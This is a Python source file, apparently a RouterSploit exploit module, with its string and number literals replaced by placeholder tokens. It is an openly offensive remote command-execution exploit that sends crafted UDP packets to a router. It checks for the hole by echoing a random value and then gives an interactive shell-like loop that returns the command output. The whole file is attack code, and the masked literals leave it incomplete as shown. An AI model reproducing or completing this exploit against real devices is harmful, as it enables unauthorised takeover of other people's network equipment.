<s> import socket <EOL> import struct <EOL> import os <EOL> from routersploit import ( <EOL> exploits , <EOL> print_status , <EOL> print_success , <EOL> print_info , <EOL> print_error , <EOL> ) <EOL> class Exploit ( exploits . Exploit ) : <EOL> """<STR_LIT>""" <EOL> __info__ = { <EOL> '<STR_LIT:name>' : '<STR_LIT>' , <EOL> '<STR_LIT:description>' : '<STR_LIT>' <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> } <EOL> target = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> def run ( self ) : <EOL> try : <EOL> if self . check ( ) : <EOL> print_success ( "<STR_LIT>" ) <EOL> print_status ( "<STR_LIT>" ) <EOL> print_status ( "<STR_LIT>" ) <EOL> self . command_loop ( ) <EOL> else : <EOL> print_error ( "<STR_LIT>" ) <EOL> except socket . error as ex : <EOL> print_error ( "<STR_LIT>" . format ( ex = ex , port = <NUM_LIT> ) ) <EOL> def command_loop ( self ) : <EOL> while <NUM_LIT:1> : <EOL> cmd = raw_input ( "<STR_LIT>" ) <EOL> try : <EOL> print_info ( self . execute ( cmd ) ) <EOL> except socket . timeout : <EOL> print_error ( "<STR_LIT>" ) <EOL> def execute ( self , cmd ) : <EOL> if len ( cmd ) > <NUM_LIT> : <EOL> print_error ( '<STR_LIT>' ) <EOL> return <EOL> sock = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) <EOL> sock . bind ( ( '<STR_LIT>' , <NUM_LIT> ) ) <EOL> sock . settimeout ( <NUM_LIT:2> ) <EOL> packet = ( b'<STR_LIT>' + os . urandom ( <NUM_LIT:4> ) + ( b'<STR_LIT:\x00>' * <NUM_LIT> ) + struct . pack ( '<STR_LIT>' , len ( cmd ) ) + cmd ) . ljust ( <NUM_LIT> , b'<STR_LIT:\x00>' ) <EOL> try : <EOL> sock . sendto ( packet , ( self . target , <NUM_LIT> ) ) <EOL> except socket . error : <EOL> return "<STR_LIT>" <EOL> while True : <EOL> try : <EOL> data , addr = sock . recvfrom ( <NUM_LIT> ) <EOL> except socket . timeout : <EOL> sock . close ( ) <EOL> raise <EOL> if len ( data ) == <NUM_LIT> and data [ <NUM_LIT:1> ] == "<STR_LIT>" : <EOL> break <EOL> length = struct . unpack ( '<STR_LIT>' , data [ <NUM_LIT> : <NUM_LIT:16> ] ) [ <NUM_LIT:0> ] <EOL> output = data [ <NUM_LIT:16> : <NUM_LIT:16> + length ] <EOL> sock . close ( ) <EOL> return output <EOL> def check ( self ) : <EOL> NUM_CHECKS = <NUM_LIT:5> <EOL> for i in xrange ( NUM_CHECKS ) : <EOL> random_value = "<STR_LIT>" <EOL> cmd = "<STR_LIT>" . format ( random_value ) <EOL> try : <EOL> retval = self . execute ( cmd ) <EOL> except socket . timeout : <EOL> continue <EOL> if random_value in retval : <EOL> return True <EOL> return False </s>
